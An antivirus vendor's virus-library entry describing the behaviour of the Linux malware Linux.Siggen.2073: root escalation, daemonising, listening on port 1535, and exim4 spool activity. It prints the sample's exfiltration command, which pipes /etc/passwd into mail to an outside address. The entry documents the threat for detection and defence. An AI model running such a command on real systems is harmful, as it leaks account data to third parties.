ПОЛЬЗОВАТЕЛЯМ

Закрыть

Поиск

Поиск

Поддержка
Круглосуточная поддержка

Напишите

Запрос через форму

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Напишите

Задать вопрос в поддержку

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

BY

RU CN DE EN ES FR IT JP KZ UZ PL BY
Закрыть
Сервисы
Сканеры
Dr.Web vxCube
Демо
Экспертиза ВКИ
Вирусная библиотека
База знаний

Технологии

Термины

Обучение и просвещение

Мифы

Новости

Linux.Siggen.2073

Добавлен в вирусную базу Dr.Web: 2019-08-14

Описание добавлено:

Technical Information

Malicious functions:
Gains root privileges
Launches itself as a daemon
Launches processes:
  • sh -c cat /etc/passwd|mail -s 'syntax210.. 1535' elzorg@gmail.com
  • cat /etc/passwd
  • mail -s syntax210.. 1535 elzorg@gmail.com
  • /usr/sbin/sendmail send-mail -i -- elzorg@gmail.com
  • /usr/sbin/exim4 -Mc 1hxfZu-0000B9-CI
  • /usr/sbin/exim4 #-E1hxfZu-0000B9-CI
  • /usr/sbin/exim4 -Mc 1hxfZv-0000BE-Dq
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/exim4/input/1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input/hdr.691
  • /var/spool/exim4/msglog/1hxfZu-0000B9-CI
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input/hdr.696
  • /var/spool/exim4/input/hdr.693
  • /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
  • /var/mail/user
Creates symlinks:
  • /var/mail/user.lock
Creates or modifies files:
  • /tmp/mail.RsXXXXxbpnxN
  • /tmp/mail.RsXXXXxbpnxN (deleted)
  • /tmp/mail.RsXXXXZykiWo
  • /tmp/mail.RsXXXXZykiWo (deleted)
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input/1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input//hdr.691
  • /var/spool/exim4/input/hdr.691
  • /var/spool/exim4/msglog//1hxfZu-0000B9-CI
  • /var/spool/exim4/msglog/1hxfZu-0000B9-CI
  • /var/log/exim4/mainlog
  • /var/spool/exim4/db/retry.lockfile
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input//hdr.696
  • /var/spool/exim4/input/hdr.696
  • /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
  • /var/spool/exim4/msglog/1hxfZv-0000BE-Dq
  • /var/spool/exim4/input//hdr.693
  • /var/spool/exim4/input/hdr.693
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
  • /var/mail/user.lock.box-i386.5d533e10.000002bc
  • /var/mail/user
  • /var/spool/exim4/input/1hxfZv-0000BE-Dq-J
Deletes files:
  • /tmp/mail.RsXXXXxbpnxN
  • /tmp/mail.RsXXXXZykiWo
  • /var/spool/exim4/msglog//1hxfZu-0000B9-CI
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-D
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-H
  • /var/spool/exim4/input//1hxfZu-0000B9-CI-J
  • /var/mail/user.lock.box-i386.5d533e10.000002bc
  • /var/mail/user.lock
  • /var/spool/exim4/msglog//1hxfZv-0000BE-Dq
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-D
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-H
  • /var/spool/exim4/input//1hxfZv-0000BE-Dq-J
Network activity:
Awaits incoming connections on ports:
  • 0.0.0.0:1535
Establishes connection:
  • <LOCAL_DNS_SERVER>
DNS ASK:
  • bo##i386
Other:
Collects CPU information

Рекомендации по лечению

Linux

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Демо бесплатно

На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)

Скачать Dr.Web

По серийному номеру